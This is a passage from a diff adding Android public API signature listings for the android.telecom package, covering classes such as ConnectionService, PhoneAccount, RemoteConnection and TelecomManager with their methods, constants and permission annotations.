+    field public static final int SESSION_MODIFY_REQUEST_SUCCESS = 1; // 0x1
+    field public static final int SESSION_MODIFY_REQUEST_TIMED_OUT = 4; // 0x4
+  }
+
+  public final class ConnectionRequest implements android.os.Parcelable {
+    ctor public ConnectionRequest(android.telecom.PhoneAccountHandle, android.net.Uri, android.os.Bundle);
+    ctor public ConnectionRequest(android.telecom.PhoneAccountHandle, android.net.Uri, android.os.Bundle, int);
+    method public int describeContents();
+    method public android.telecom.PhoneAccountHandle getAccountHandle();
+    method public android.net.Uri getAddress();
+    method public android.os.Bundle getExtras();
+    method @Nullable public java.util.List<android.net.Uri> getParticipants();
+    method public android.telecom.Connection.RttTextStream getRttTextStream();
+    method public int getVideoState();
+    method public boolean isAdhocConferenceCall();
+    method public boolean isRequestingRtt();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.ConnectionRequest> CREATOR;
+  }
+
+  public abstract class ConnectionService extends android.app.Service {
+    ctor public ConnectionService();
+    method public final void addConference(android.telecom.Conference);
+    method public final void addExistingConnection(android.telecom.PhoneAccountHandle, android.telecom.Connection);
+    method public final void conferenceRemoteConnections(android.telecom.RemoteConnection, android.telecom.RemoteConnection);
+    method public final void connectionServiceFocusReleased();
+    method @Nullable public final android.telecom.RemoteConference createRemoteIncomingConference(@Nullable android.telecom.PhoneAccountHandle, @Nullable android.telecom.ConnectionRequest);
+    method @Nullable public final android.telecom.RemoteConnection createRemoteIncomingConnection(@NonNull android.telecom.PhoneAccountHandle, @NonNull android.telecom.ConnectionRequest);
+    method @Nullable public final android.telecom.RemoteConference createRemoteOutgoingConference(@Nullable android.telecom.PhoneAccountHandle, @Nullable android.telecom.ConnectionRequest);
+    method @Nullable public final android.telecom.RemoteConnection createRemoteOutgoingConnection(@NonNull android.telecom.PhoneAccountHandle, @NonNull android.telecom.ConnectionRequest);
+    method public final java.util.Collection<android.telecom.Conference> getAllConferences();
+    method public final java.util.Collection<android.telecom.Connection> getAllConnections();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public void onConference(android.telecom.Connection, android.telecom.Connection);
+    method public void onConnectionServiceFocusGained();
+    method public void onConnectionServiceFocusLost();
+    method @Nullable public android.telecom.Conference onCreateIncomingConference(@NonNull android.telecom.PhoneAccountHandle, @NonNull android.telecom.ConnectionRequest);
+    method public void onCreateIncomingConferenceFailed(@Nullable android.telecom.PhoneAccountHandle, @Nullable android.telecom.ConnectionRequest);
+    method public android.telecom.Connection onCreateIncomingConnection(android.telecom.PhoneAccountHandle, android.telecom.ConnectionRequest);
+    method public void onCreateIncomingConnectionFailed(android.telecom.PhoneAccountHandle, android.telecom.ConnectionRequest);
+    method public android.telecom.Connection onCreateIncomingHandoverConnection(android.telecom.PhoneAccountHandle, android.telecom.ConnectionRequest);
+    method @Nullable public android.telecom.Conference onCreateOutgoingConference(@NonNull android.telecom.PhoneAccountHandle, @NonNull android.telecom.ConnectionRequest);
+    method public void onCreateOutgoingConferenceFailed(@NonNull android.telecom.PhoneAccountHandle, @NonNull android.telecom.ConnectionRequest);
+    method public android.telecom.Connection onCreateOutgoingConnection(android.telecom.PhoneAccountHandle, android.telecom.ConnectionRequest);
+    method public void onCreateOutgoingConnectionFailed(android.telecom.PhoneAccountHandle, android.telecom.ConnectionRequest);
+    method public android.telecom.Connection onCreateOutgoingHandoverConnection(android.telecom.PhoneAccountHandle, android.telecom.ConnectionRequest);
+    method public void onHandoverFailed(android.telecom.ConnectionRequest, int);
+    method public void onRemoteConferenceAdded(android.telecom.RemoteConference);
+    method public void onRemoteExistingConnectionAdded(android.telecom.RemoteConnection);
+    field public static final String SERVICE_INTERFACE = "android.telecom.ConnectionService";
+  }
+
+  public final class DisconnectCause implements android.os.Parcelable {
+    ctor public DisconnectCause(int);
+    ctor public DisconnectCause(int, String);
+    ctor public DisconnectCause(int, CharSequence, CharSequence, String);
+    ctor public DisconnectCause(int, CharSequence, CharSequence, String, int);
+    method public int describeContents();
+    method public int getCode();
+    method public CharSequence getDescription();
+    method public CharSequence getLabel();
+    method public String getReason();
+    method public int getTone();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ANSWERED_ELSEWHERE = 11; // 0xb
+    field public static final int BUSY = 7; // 0x7
+    field public static final int CALL_PULLED = 12; // 0xc
+    field public static final int CANCELED = 4; // 0x4
+    field public static final int CONNECTION_MANAGER_NOT_SUPPORTED = 10; // 0xa
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.DisconnectCause> CREATOR;
+    field public static final int ERROR = 1; // 0x1
+    field public static final int LOCAL = 2; // 0x2
+    field public static final int MISSED = 5; // 0x5
+    field public static final int OTHER = 9; // 0x9
+    field public static final String REASON_EMERGENCY_CALL_PLACED = "REASON_EMERGENCY_CALL_PLACED";
+    field public static final String REASON_EMULATING_SINGLE_CALL = "EMULATING_SINGLE_CALL";
+    field public static final String REASON_IMS_ACCESS_BLOCKED = "REASON_IMS_ACCESS_BLOCKED";
+    field public static final String REASON_WIFI_ON_BUT_WFC_OFF = "REASON_WIFI_ON_BUT_WFC_OFF";
+    field public static final int REJECTED = 6; // 0x6
+    field public static final int REMOTE = 3; // 0x3
+    field public static final int RESTRICTED = 8; // 0x8
+    field public static final int UNKNOWN = 0; // 0x0
+  }
+
+  public class GatewayInfo implements android.os.Parcelable {
+    ctor public GatewayInfo(String, android.net.Uri, android.net.Uri);
+    method public int describeContents();
+    method public android.net.Uri getGatewayAddress();
+    method public String getGatewayProviderPackageName();
+    method public android.net.Uri getOriginalAddress();
+    method public boolean isEmpty();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.GatewayInfo> CREATOR;
+  }
+
+  public abstract class InCallService extends android.app.Service {
+    ctor public InCallService();
+    method public final boolean canAddCall();
+    method public final android.telecom.CallAudioState getCallAudioState();
+    method public final java.util.List<android.telecom.Call> getCalls();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public void onBringToForeground(boolean);
+    method public void onCallAdded(android.telecom.Call);
+    method public void onCallAudioStateChanged(android.telecom.CallAudioState);
+    method public void onCallRemoved(android.telecom.Call);
+    method public void onCanAddCallChanged(boolean);
+    method public void onConnectionEvent(android.telecom.Call, String, android.os.Bundle);
+    method public void onSilenceRinger();
+    method public final void requestBluetoothAudio(@NonNull android.bluetooth.BluetoothDevice);
+    method public final void setAudioRoute(int);
+    method public final void setMuted(boolean);
+    field public static final String SERVICE_INTERFACE = "android.telecom.InCallService";
+  }
+
+  public abstract static class InCallService.VideoCall {
+    ctor public InCallService.VideoCall();
+    method public abstract void registerCallback(android.telecom.InCallService.VideoCall.Callback);
+    method public abstract void registerCallback(android.telecom.InCallService.VideoCall.Callback, android.os.Handler);
+    method public abstract void requestCallDataUsage();
+    method public abstract void requestCameraCapabilities();
+    method public abstract void sendSessionModifyRequest(android.telecom.VideoProfile);
+    method public abstract void sendSessionModifyResponse(android.telecom.VideoProfile);
+    method public abstract void setCamera(String);
+    method public abstract void setDeviceOrientation(int);
+    method public abstract void setDisplaySurface(android.view.Surface);
+    method public abstract void setPauseImage(android.net.Uri);
+    method public abstract void setPreviewSurface(android.view.Surface);
+    method public abstract void setZoom(float);
+    method public abstract void unregisterCallback(android.telecom.InCallService.VideoCall.Callback);
+  }
+
+  public abstract static class InCallService.VideoCall.Callback {
+    ctor public InCallService.VideoCall.Callback();
+    method public abstract void onCallDataUsageChanged(long);
+    method public abstract void onCallSessionEvent(int);
+    method public abstract void onCameraCapabilitiesChanged(android.telecom.VideoProfile.CameraCapabilities);
+    method public abstract void onPeerDimensionsChanged(int, int);
+    method public abstract void onSessionModifyRequestReceived(android.telecom.VideoProfile);
+    method public abstract void onSessionModifyResponseReceived(int, android.telecom.VideoProfile, android.telecom.VideoProfile);
+    method public abstract void onVideoQualityChanged(int);
+  }
+
+  public final class PhoneAccount implements android.os.Parcelable {
+    method public static android.telecom.PhoneAccount.Builder builder(android.telecom.PhoneAccountHandle, CharSequence);
+    method public int describeContents();
+    method public android.telecom.PhoneAccountHandle getAccountHandle();
+    method public android.net.Uri getAddress();
+    method public int getCapabilities();
+    method public android.os.Bundle getExtras();
+    method public int getHighlightColor();
+    method public android.graphics.drawable.Icon getIcon();
+    method public CharSequence getLabel();
+    method public CharSequence getShortDescription();
+    method public android.net.Uri getSubscriptionAddress();
+    method public java.util.List<java.lang.String> getSupportedUriSchemes();
+    method public boolean hasCapabilities(int);
+    method public boolean isEnabled();
+    method public boolean supportsUriScheme(String);
+    method public android.telecom.PhoneAccount.Builder toBuilder();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CAPABILITY_ADHOC_CONFERENCE_CALLING = 16384; // 0x4000
+    field public static final int CAPABILITY_CALL_COMPOSER = 32768; // 0x8000
+    field public static final int CAPABILITY_CALL_PROVIDER = 2; // 0x2
+    field public static final int CAPABILITY_CALL_SUBJECT = 64; // 0x40
+    field public static final int CAPABILITY_CONNECTION_MANAGER = 1; // 0x1
+    field public static final int CAPABILITY_PLACE_EMERGENCY_CALLS = 16; // 0x10
+    field public static final int CAPABILITY_RTT = 4096; // 0x1000
+    field public static final int CAPABILITY_SELF_MANAGED = 2048; // 0x800
+    field public static final int CAPABILITY_SIM_SUBSCRIPTION = 4; // 0x4
+    field public static final int CAPABILITY_SUPPORTS_VIDEO_CALLING = 1024; // 0x400
+    field public static final int CAPABILITY_VIDEO_CALLING = 8; // 0x8
+    field public static final int CAPABILITY_VIDEO_CALLING_RELIES_ON_PRESENCE = 256; // 0x100
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.PhoneAccount> CREATOR;
+    field public static final String EXTRA_ADD_SELF_MANAGED_CALLS_TO_INCALLSERVICE = "android.telecom.extra.ADD_SELF_MANAGED_CALLS_TO_INCALLSERVICE";
+    field public static final String EXTRA_ALWAYS_USE_VOIP_AUDIO_MODE = "android.telecom.extra.ALWAYS_USE_VOIP_AUDIO_MODE";
+    field public static final String EXTRA_CALL_SUBJECT_CHARACTER_ENCODING = "android.telecom.extra.CALL_SUBJECT_CHARACTER_ENCODING";
+    field public static final String EXTRA_CALL_SUBJECT_MAX_LENGTH = "android.telecom.extra.CALL_SUBJECT_MAX_LENGTH";
+    field public static final String EXTRA_LOG_SELF_MANAGED_CALLS = "android.telecom.extra.LOG_SELF_MANAGED_CALLS";
+    field public static final String EXTRA_SUPPORTS_HANDOVER_FROM = "android.telecom.extra.SUPPORTS_HANDOVER_FROM";
+    field public static final String EXTRA_SUPPORTS_HANDOVER_TO = "android.telecom.extra.SUPPORTS_HANDOVER_TO";
+    field public static final int NO_HIGHLIGHT_COLOR = 0; // 0x0
+    field public static final int NO_RESOURCE_ID = -1; // 0xffffffff
+    field public static final String SCHEME_SIP = "sip";
+    field public static final String SCHEME_TEL = "tel";
+    field public static final String SCHEME_VOICEMAIL = "voicemail";
+  }
+
+  public static class PhoneAccount.Builder {
+    ctor public PhoneAccount.Builder(android.telecom.PhoneAccountHandle, CharSequence);
+    ctor public PhoneAccount.Builder(android.telecom.PhoneAccount);
+    method public android.telecom.PhoneAccount.Builder addSupportedUriScheme(String);
+    method public android.telecom.PhoneAccount build();
+    method public android.telecom.PhoneAccount.Builder setAddress(android.net.Uri);
+    method public android.telecom.PhoneAccount.Builder setCapabilities(int);
+    method public android.telecom.PhoneAccount.Builder setExtras(android.os.Bundle);
+    method public android.telecom.PhoneAccount.Builder setHighlightColor(int);
+    method public android.telecom.PhoneAccount.Builder setIcon(android.graphics.drawable.Icon);
+    method public android.telecom.PhoneAccount.Builder setShortDescription(CharSequence);
+    method public android.telecom.PhoneAccount.Builder setSubscriptionAddress(android.net.Uri);
+    method public android.telecom.PhoneAccount.Builder setSupportedUriSchemes(java.util.List<java.lang.String>);
+  }
+
+  public final class PhoneAccountHandle implements android.os.Parcelable {
+    ctor public PhoneAccountHandle(@NonNull android.content.ComponentName, @NonNull String);
+    ctor public PhoneAccountHandle(@NonNull android.content.ComponentName, @NonNull String, @NonNull android.os.UserHandle);
+    method public int describeContents();
+    method public android.content.ComponentName getComponentName();
+    method public String getId();
+    method public android.os.UserHandle getUserHandle();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.PhoneAccountHandle> CREATOR;
+  }
+
+  public final class PhoneAccountSuggestion implements android.os.Parcelable {
+    ctor public PhoneAccountSuggestion(@NonNull android.telecom.PhoneAccountHandle, int, boolean);
+    method public int describeContents();
+    method @NonNull public android.telecom.PhoneAccountHandle getPhoneAccountHandle();
+    method public int getReason();
+    method public boolean shouldAutoSelect();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.PhoneAccountSuggestion> CREATOR;
+    field public static final int REASON_FREQUENT = 2; // 0x2
+    field public static final int REASON_INTRA_CARRIER = 1; // 0x1
+    field public static final int REASON_NONE = 0; // 0x0
+    field public static final int REASON_OTHER = 4; // 0x4
+    field public static final int REASON_USER_SET = 3; // 0x3
+  }
+
+  public final class RemoteConference {
+    method public void disconnect();
+    method public java.util.List<android.telecom.RemoteConnection> getConferenceableConnections();
+    method public int getConnectionCapabilities();
+    method public int getConnectionProperties();
+    method public java.util.List<android.telecom.RemoteConnection> getConnections();
+    method public android.telecom.DisconnectCause getDisconnectCause();
+    method public android.os.Bundle getExtras();
+    method public int getState();
+    method public void hold();
+    method public void merge();
+    method public void playDtmfTone(char);
+    method public void registerCallback(android.telecom.RemoteConference.Callback);
+    method public void registerCallback(android.telecom.RemoteConference.Callback, android.os.Handler);
+    method public void separate(android.telecom.RemoteConnection);
+    method public void setCallAudioState(android.telecom.CallAudioState);
+    method public void stopDtmfTone();
+    method public void swap();
+    method public void unhold();
+    method public void unregisterCallback(android.telecom.RemoteConference.Callback);
+  }
+
+  public abstract static class RemoteConference.Callback {
+    ctor public RemoteConference.Callback();
+    method public void onConferenceableConnectionsChanged(android.telecom.RemoteConference, java.util.List<android.telecom.RemoteConnection>);
+    method public void onConnectionAdded(android.telecom.RemoteConference, android.telecom.RemoteConnection);
+    method public void onConnectionCapabilitiesChanged(android.telecom.RemoteConference, int);
+    method public void onConnectionPropertiesChanged(android.telecom.RemoteConference, int);
+    method public void onConnectionRemoved(android.telecom.RemoteConference, android.telecom.RemoteConnection);
+    method public void onDestroyed(android.telecom.RemoteConference);
+    method public void onDisconnected(android.telecom.RemoteConference, android.telecom.DisconnectCause);
+    method public void onExtrasChanged(android.telecom.RemoteConference, @Nullable android.os.Bundle);
+    method public void onStateChanged(android.telecom.RemoteConference, int, int);
+  }
+
+  public final class RemoteConnection {
+    method public void abort();
+    method public void addConferenceParticipants(@NonNull java.util.List<android.net.Uri>);
+    method public void answer();
+    method public void disconnect();
+    method public android.net.Uri getAddress();
+    method public int getAddressPresentation();
+    method public CharSequence getCallerDisplayName();
+    method public int getCallerDisplayNamePresentation();
+    method public android.telecom.RemoteConference getConference();
+    method public java.util.List<android.telecom.RemoteConnection> getConferenceableConnections();
+    method public int getConnectionCapabilities();
+    method public int getConnectionProperties();
+    method public android.telecom.DisconnectCause getDisconnectCause();
+    method public android.os.Bundle getExtras();
+    method public int getState();
+    method public android.telecom.StatusHints getStatusHints();
+    method public android.telecom.RemoteConnection.VideoProvider getVideoProvider();
+    method public int getVideoState();
+    method public void hold();
+    method public boolean isRingbackRequested();
+    method public boolean isVoipAudioMode();
+    method public void playDtmfTone(char);
+    method public void postDialContinue(boolean);
+    method public void pullExternalCall();
+    method public void registerCallback(android.telecom.RemoteConnection.Callback);
+    method public void registerCallback(android.telecom.RemoteConnection.Callback, android.os.Handler);
+    method public void reject();
+    method public void setCallAudioState(android.telecom.CallAudioState);
+    method public void stopDtmfTone();
+    method public void unhold();
+    method public void unregisterCallback(android.telecom.RemoteConnection.Callback);
+  }
+
+  public abstract static class RemoteConnection.Callback {
+    ctor public RemoteConnection.Callback();
+    method public void onAddressChanged(android.telecom.RemoteConnection, android.net.Uri, int);
+    method public void onCallerDisplayNameChanged(android.telecom.RemoteConnection, String, int);
+    method public void onConferenceChanged(android.telecom.RemoteConnection, android.telecom.RemoteConference);
+    method public void onConferenceableConnectionsChanged(android.telecom.RemoteConnection, java.util.List<android.telecom.RemoteConnection>);
+    method public void onConnectionCapabilitiesChanged(android.telecom.RemoteConnection, int);
+    method public void onConnectionEvent(android.telecom.RemoteConnection, String, android.os.Bundle);
+    method public void onConnectionPropertiesChanged(android.telecom.RemoteConnection, int);
+    method public void onDestroyed(android.telecom.RemoteConnection);
+    method public void onDisconnected(android.telecom.RemoteConnection, android.telecom.DisconnectCause);
+    method public void onExtrasChanged(android.telecom.RemoteConnection, @Nullable android.os.Bundle);
+    method public void onPostDialChar(android.telecom.RemoteConnection, char);
+    method public void onPostDialWait(android.telecom.RemoteConnection, String);
+    method public void onRingbackRequested(android.telecom.RemoteConnection, boolean);
+    method public void onStateChanged(android.telecom.RemoteConnection, int);
+    method public void onStatusHintsChanged(android.telecom.RemoteConnection, android.telecom.StatusHints);
+    method public void onVideoProviderChanged(android.telecom.RemoteConnection, android.telecom.RemoteConnection.VideoProvider);
+    method public void onVideoStateChanged(android.telecom.RemoteConnection, int);
+    method public void onVoipAudioChanged(android.telecom.RemoteConnection, boolean);
+  }
+
+  public static class RemoteConnection.VideoProvider {
+    method public void registerCallback(android.telecom.RemoteConnection.VideoProvider.Callback);
+    method public void requestCallDataUsage();
+    method public void requestCameraCapabilities();
+    method public void sendSessionModifyRequest(android.telecom.VideoProfile, android.telecom.VideoProfile);
+    method public void sendSessionModifyResponse(android.telecom.VideoProfile);
+    method public void setCamera(String);
+    method public void setDeviceOrientation(int);
+    method public void setDisplaySurface(android.view.Surface);
+    method public void setPauseImage(android.net.Uri);
+    method public void setPreviewSurface(android.view.Surface);
+    method public void setZoom(float);
+    method public void unregisterCallback(android.telecom.RemoteConnection.VideoProvider.Callback);
+  }
+
+  public abstract static class RemoteConnection.VideoProvider.Callback {
+    ctor public RemoteConnection.VideoProvider.Callback();
+    method public void onCallDataUsageChanged(android.telecom.RemoteConnection.VideoProvider, long);
+    method public void onCallSessionEvent(android.telecom.RemoteConnection.VideoProvider, int);
+    method public void onCameraCapabilitiesChanged(android.telecom.RemoteConnection.VideoProvider, android.telecom.VideoProfile.CameraCapabilities);
+    method public void onPeerDimensionsChanged(android.telecom.RemoteConnection.VideoProvider, int, int);
+    method public void onSessionModifyRequestReceived(android.telecom.RemoteConnection.VideoProvider, android.telecom.VideoProfile);
+    method public void onSessionModifyResponseReceived(android.telecom.RemoteConnection.VideoProvider, int, android.telecom.VideoProfile, android.telecom.VideoProfile);
+    method public void onVideoQualityChanged(android.telecom.RemoteConnection.VideoProvider, int);
+  }
+
+  public final class StatusHints implements android.os.Parcelable {
+    ctor public StatusHints(CharSequence, android.graphics.drawable.Icon, android.os.Bundle);
+    method public int describeContents();
+    method public android.os.Bundle getExtras();
+    method public android.graphics.drawable.Icon getIcon();
+    method public CharSequence getLabel();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.StatusHints> CREATOR;
+  }
+
+  public class TelecomManager {
+    method public void acceptHandover(android.net.Uri, int, android.telecom.PhoneAccountHandle);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ANSWER_PHONE_CALLS, android.Manifest.permission.MODIFY_PHONE_STATE}) public void acceptRingingCall();
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ANSWER_PHONE_CALLS, android.Manifest.permission.MODIFY_PHONE_STATE}) public void acceptRingingCall(int);
+    method public void addNewIncomingCall(android.telecom.PhoneAccountHandle, android.os.Bundle);
+    method public void addNewIncomingConference(@NonNull android.telecom.PhoneAccountHandle, @NonNull android.os.Bundle);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void cancelMissedCallsNotification();
+    method public android.content.Intent createManageBlockedNumbersIntent();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ANSWER_PHONE_CALLS) public boolean endCall();
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public android.net.Uri getAdnUriForPhoneAccount(android.telecom.PhoneAccountHandle);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.List<android.telecom.PhoneAccountHandle> getCallCapablePhoneAccounts();
+    method public String getDefaultDialerPackage();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public android.telecom.PhoneAccountHandle getDefaultOutgoingPhoneAccount(String);
+    method @RequiresPermission(anyOf={android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.READ_SMS, android.Manifest.permission.READ_PHONE_NUMBERS}, conditional=true) public String getLine1Number(android.telecom.PhoneAccountHandle);
+    method public android.telecom.PhoneAccount getPhoneAccount(android.telecom.PhoneAccountHandle);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.List<android.telecom.PhoneAccountHandle> getSelfManagedPhoneAccounts();
+    method public android.telecom.PhoneAccountHandle getSimCallManager();
+    method @Nullable public android.telecom.PhoneAccountHandle getSimCallManagerForSubscription(int);
+    method @Nullable public String getSystemDialerPackage();
+    method @Nullable @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public android.telecom.PhoneAccountHandle getUserSelectedOutgoingPhoneAccount();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getVoiceMailNumber(android.telecom.PhoneAccountHandle);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public boolean handleMmi(String);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public boolean handleMmi(String, android.telecom.PhoneAccountHandle);
+    method public boolean hasManageOngoingCallsPermission();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean isInCall();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean isInManagedCall();
+    method public boolean isIncomingCallPermitted(android.telecom.PhoneAccountHandle);
+    method public boolean isOutgoingCallPermitted(android.telecom.PhoneAccountHandle);
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PHONE_STATE}) public boolean isTtySupported();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean isVoiceMailNumber(android.telecom.PhoneAccountHandle, String);
+    method @RequiresPermission(anyOf={android.Manifest.permission.CALL_PHONE, android.Manifest.permission.MANAGE_OWN_CALLS}) public void placeCall(android.net.Uri, android.os.Bundle);
+    method public void registerPhoneAccount(android.telecom.PhoneAccount);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void showInCallScreen(boolean);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void silenceRinger();
+    method @RequiresPermission(android.Manifest.permission.CALL_PHONE) public void startConference(@NonNull java.util.List<android.net.Uri>, @NonNull android.os.Bundle);
+    method public void unregisterPhoneAccount(android.telecom.PhoneAccountHandle);
+    field public static final String ACTION_CHANGE_DEFAULT_DIALER = "android.telecom.action.CHANGE_DEFAULT_DIALER";
+    field public static final String ACTION_CHANGE_PHONE_ACCOUNTS = "android.telecom.action.CHANGE_PHONE_ACCOUNTS";
+    field public static final String ACTION_CONFIGURE_PHONE_ACCOUNT = "android.telecom.action.CONFIGURE_PHONE_ACCOUNT";
+    field public static final String ACTION_DEFAULT_CALL_SCREENING_APP_CHANGED = "android.telecom.action.DEFAULT_CALL_SCREENING_APP_CHANGED";
+    field public static final String ACTION_DEFAULT_DIALER_CHANGED = "android.telecom.action.DEFAULT_DIALER_CHANGED";
+    field @Deprecated public static final String ACTION_INCOMING_CALL = "android.telecom.action.INCOMING_CALL";
+    field public static final String ACTION_PHONE_ACCOUNT_REGISTERED = "android.telecom.action.PHONE_ACCOUNT_REGISTERED";
+    field public static final String ACTION_PHONE_ACCOUNT_UNREGISTERED = "android.telecom.action.PHONE_ACCOUNT_UNREGISTERED";
+    field public static final String ACTION_POST_CALL = "android.telecom.action.POST_CALL";
+    field public static final String ACTION_SHOW_CALL_ACCESSIBILITY_SETTINGS = "android.telecom.action.SHOW_CALL_ACCESSIBILITY_SETTINGS";
+    field public static final String ACTION_SHOW_CALL_SETTINGS = "android.telecom.action.SHOW_CALL_SETTINGS";
+    field public static final String ACTION_SHOW_MISSED_CALLS_NOTIFICATION = "android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION";
+    field public static final String ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS = "android.telecom.action.SHOW_RESPOND_VIA_SMS_SETTINGS";
+    field public static final char DTMF_CHARACTER_PAUSE = 44; // 0x002c ','
+    field public static final char DTMF_CHARACTER_WAIT = 59; // 0x003b ';'
+    field public static final int DURATION_LONG = 3; // 0x3
+    field public static final int DURATION_MEDIUM = 2; // 0x2
+    field public static final int DURATION_SHORT = 1; // 0x1
+    field public static final int DURATION_VERY_SHORT = 0; // 0x0
+    field public static final String EXTRA_CALL_BACK_NUMBER = "android.telecom.extra.CALL_BACK_NUMBER";
+    field public static final String EXTRA_CALL_DISCONNECT_CAUSE = "android.telecom.extra.CALL_DISCONNECT_CAUSE";
+    field public static final String EXTRA_CALL_DISCONNECT_MESSAGE = "android.telecom.extra.CALL_DISCONNECT_MESSAGE";
+    field public static final String EXTRA_CALL_DURATION = "android.telecom.extra.CALL_DURATION";
+    field public static final String EXTRA_CALL_NETWORK_TYPE = "android.telecom.extra.CALL_NETWORK_TYPE";
+    field public static final String EXTRA_CALL_SUBJECT = "android.telecom.extra.CALL_SUBJECT";
+    field public static final String EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME = "android.telecom.extra.CHANGE_DEFAULT_DIALER_PACKAGE_NAME";
+    field public static final String EXTRA_DEFAULT_CALL_SCREENING_APP_COMPONENT_NAME = "android.telecom.extra.DEFAULT_CALL_SCREENING_APP_COMPONENT_NAME";
+    field public static final String EXTRA_DISCONNECT_CAUSE = "android.telecom.extra.DISCONNECT_CAUSE";
+    field public static final String EXTRA_HANDLE = "android.telecom.extra.HANDLE";
+    field public static final String EXTRA_HAS_PICTURE = "android.telecom.extra.HAS_PICTURE";
+    field public static final String EXTRA_INCOMING_CALL_ADDRESS = "android.telecom.extra.INCOMING_CALL_ADDRESS";
+    field public static final String EXTRA_INCOMING_CALL_EXTRAS = "android.telecom.extra.INCOMING_CALL_EXTRAS";
+    field public static final String EXTRA_INCOMING_VIDEO_STATE = "android.telecom.extra.INCOMING_VIDEO_STATE";
+    field public static final String EXTRA_IS_DEFAULT_CALL_SCREENING_APP = "android.telecom.extra.IS_DEFAULT_CALL_SCREENING_APP";
+    field public static final String EXTRA_LOCATION = "android.telecom.extra.LOCATION";
+    field public static final String EXTRA_NOTIFICATION_COUNT = "android.telecom.extra.NOTIFICATION_COUNT";
+    field public static final String EXTRA_NOTIFICATION_PHONE_NUMBER = "android.telecom.extra.NOTIFICATION_PHONE_NUMBER";
+    field public static final String EXTRA_OUTGOING_CALL_EXTRAS = "android.telecom.extra.OUTGOING_CALL_EXTRAS";
+    field public static final String EXTRA_OUTGOING_PICTURE = "android.telecom.extra.OUTGOING_PICTURE";
+    field public static final String EXTRA_PHONE_ACCOUNT_HANDLE = "android.telecom.extra.PHONE_ACCOUNT_HANDLE";
+    field public static final String EXTRA_PICTURE_URI = "android.telecom.extra.PICTURE_URI";
+    field public static final String EXTRA_PRIORITY = "android.telecom.extra.PRIORITY";
+    field public static final String EXTRA_START_CALL_WITH_RTT = "android.telecom.extra.START_CALL_WITH_RTT";
+    field public static final String EXTRA_START_CALL_WITH_SPEAKERPHONE = "android.telecom.extra.START_CALL_WITH_SPEAKERPHONE";
+    field public static final String EXTRA_START_CALL_WITH_VIDEO_STATE = "android.telecom.extra.START_CALL_WITH_VIDEO_STATE";
+    field public static final String EXTRA_USE_ASSISTED_DIALING = "android.telecom.extra.USE_ASSISTED_DIALING";
+    field public static final String GATEWAY_ORIGINAL_ADDRESS = "android.telecom.extra.GATEWAY_ORIGINAL_ADDRESS";
+    field public static final String GATEWAY_PROVIDER_PACKAGE = "android.telecom.extra.GATEWAY_PROVIDER_PACKAGE";
+    field public static final String METADATA_INCLUDE_EXTERNAL_CALLS = "android.telecom.INCLUDE_EXTERNAL_CALLS";
+    field public static final String METADATA_INCLUDE_SELF_MANAGED_CALLS = "android.telecom.INCLUDE_SELF_MANAGED_CALLS";
+    field public static final String METADATA_IN_CALL_SERVICE_CAR_MODE_UI = "android.telecom.IN_CALL_SERVICE_CAR_MODE_UI";
+    field public static final String METADATA_IN_CALL_SERVICE_RINGING = "android.telecom.IN_CALL_SERVICE_RINGING";
+    field public static final String METADATA_IN_CALL_SERVICE_UI = "android.telecom.IN_CALL_SERVICE_UI";
+    field public static final int PRESENTATION_ALLOWED = 1; // 0x1
+    field public static final int PRESENTATION_PAYPHONE = 4; // 0x4
+    field public static final int PRESENTATION_RESTRICTED = 2; // 0x2
+    field public static final int PRESENTATION_UNKNOWN = 3; // 0x3
+    field public static final int PRIORITY_NORMAL = 0; // 0x0
+    field public static final int PRIORITY_URGENT = 1; // 0x1
+  }
+
+  public class VideoProfile implements android.os.Parcelable {
+    ctor public VideoProfile(int);
+    ctor public VideoProfile(int, int);
+    method public int describeContents();
+    method public int getQuality();
+    method public int getVideoState();
+    method public static boolean isAudioOnly(int);
+    method public static boolean isBidirectional(int);
+    method public static boolean isPaused(int);
+    method public static boolean isReceptionEnabled(int);
+    method public static boolean isTransmissionEnabled(int);
+    method public static boolean isVideo(int);
+    method public static String videoStateToString(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.VideoProfile> CREATOR;
